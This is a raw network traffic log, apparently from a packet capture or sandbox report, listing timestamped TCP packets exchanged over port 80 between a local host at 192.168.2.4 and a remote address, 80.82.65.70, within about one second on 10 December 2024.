Dec 10, 2024 04:49:45.574595928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.575403929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.575452089 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.575712919 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.575756073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.576384068 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.576431990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.576524973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.576575041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.577311993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.577354908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.577405930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.577474117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.578248024 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.578288078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.578362942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.578403950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.579251051 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.579302073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.579355001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.579412937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.580199957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.580256939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.580372095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.580414057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.581120014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.581167936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.581187010 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.581223965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.634828091 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.634902954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.635035992 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.635088921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.635262966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.635308981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.635375023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.635421038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.636214018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.636260986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.636298895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.636344910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.637172937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.637247086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.637271881 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.637315035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.638123989 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.638173103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.638254881 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.638297081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.639069080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.639117956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.639187098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.639226913 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.640026093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.640075922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.640114069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.640157938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.640983105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.641026974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.641096115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.641139030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.641927004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.641964912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.642035961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.642100096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.642874002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.642918110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.642955065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.643001080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.643841982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.643930912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.643945932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.643969059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.644757986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.644799948 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.644804955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.644844055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.645788908 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.645828962 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.645900011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.645948887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.646655083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.646697998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.671468973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.671529055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.671567917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.671610117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.671897888 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.671951056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.671983004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.672033072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.672861099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.672905922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.672939062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.672988892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.673790932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.673840046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.673887968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.673927069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.674758911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.674798965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.674835920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.674979925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.675708055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.675751925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.675816059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.675944090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.676665068 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.676708937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.676778078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.676820993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.677620888 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.677664995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.677706003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.677750111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.678577900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.678617001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.678687096 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.678725004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.679521084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.679558992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.679598093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.679646969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.680464983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.680511951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.680561066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.680596113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.681407928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.681508064 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.681516886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.681555033 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.682374001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.682419062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.682472944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.682517052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.683321953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.683368921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.749084949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.749145031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.749186993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.749203920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.749512911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.749644041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.749672890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.749687910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.750454903 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.750518084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.750560999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.750613928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.751398087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.751445055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.751521111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.751569033 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.752396107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.752445936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.752517939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.752563953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.753308058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.753345966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.753354073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.753392935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.754261971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.754307032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.754365921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.754407883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.755243063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.755286932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.755444050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.755522966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.756211996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.756254911 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.756320953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.756373882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.757124901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.757172108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.757232904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.757278919 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.758068085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.758116007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.758147001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.758197069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.759028912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.759078979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.759140015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.759187937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.759988070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.760036945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.760087013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.760143042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.760931969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.760981083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.761059046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.761107922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.761888981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.761941910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.761972904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.762023926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.762837887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.762886047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.762922049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.762970924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.763777971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.763825893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.763892889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.763940096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.764770031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.764821053 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.764900923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.764946938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.765697956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.765794992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.765830040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.765870094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.766653061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.766700029 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.766741991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.766784906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.767580986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.767628908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.767812014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.767859936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.768551111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.768596888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.768636942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.768678904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.769500017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.769546986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.769608021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.769651890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.770451069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.770497084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.770554066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.770593882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.771401882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.771445036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.771529913 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.771570921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.772350073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.772396088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.772528887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.772572041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.773309946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.773355961 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.773389101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.773430109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.826982021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.827049971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.827187061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.827325106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.827501059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.827549934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.827588081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.827593088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.827642918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.828377962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.828432083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.828465939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.828515053 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.829260111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.829308033 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.829400063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.829448938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.830147982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.830185890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.830193043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.830236912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.830919981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.830962896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.831000090 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.831047058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.831801891 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.831855059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.831907034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.831953049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.832626104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.832669973 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.832773924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.832818985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.833467007 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.833535910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.833642960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.833684921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.834326982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.834373951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.834443092 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.834490061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.835197926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.835246086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.835279942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.835330009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.836035013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.836085081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.836144924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.836193085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.836869955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.836918116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.836968899 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.837016106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.837687969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.837740898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.864182949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.864196062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.864238977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.864335060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.864379883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.864487886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.864537954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.865184069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.865232944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.865329027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.865372896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.866143942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.866154909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.866182089 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.866195917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.867052078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.867064953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.867103100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.867773056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.867810965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.867918968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.867966890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.868643999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.868655920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.868694067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.869460106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.869507074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.869617939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.869662046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.870331049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.870369911 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.870421886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.870461941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.870871067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.870919943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.870984077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.871032953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.871707916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.871756077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.871788979 CET	80	49730	80.82.65.70	192.168.2.4
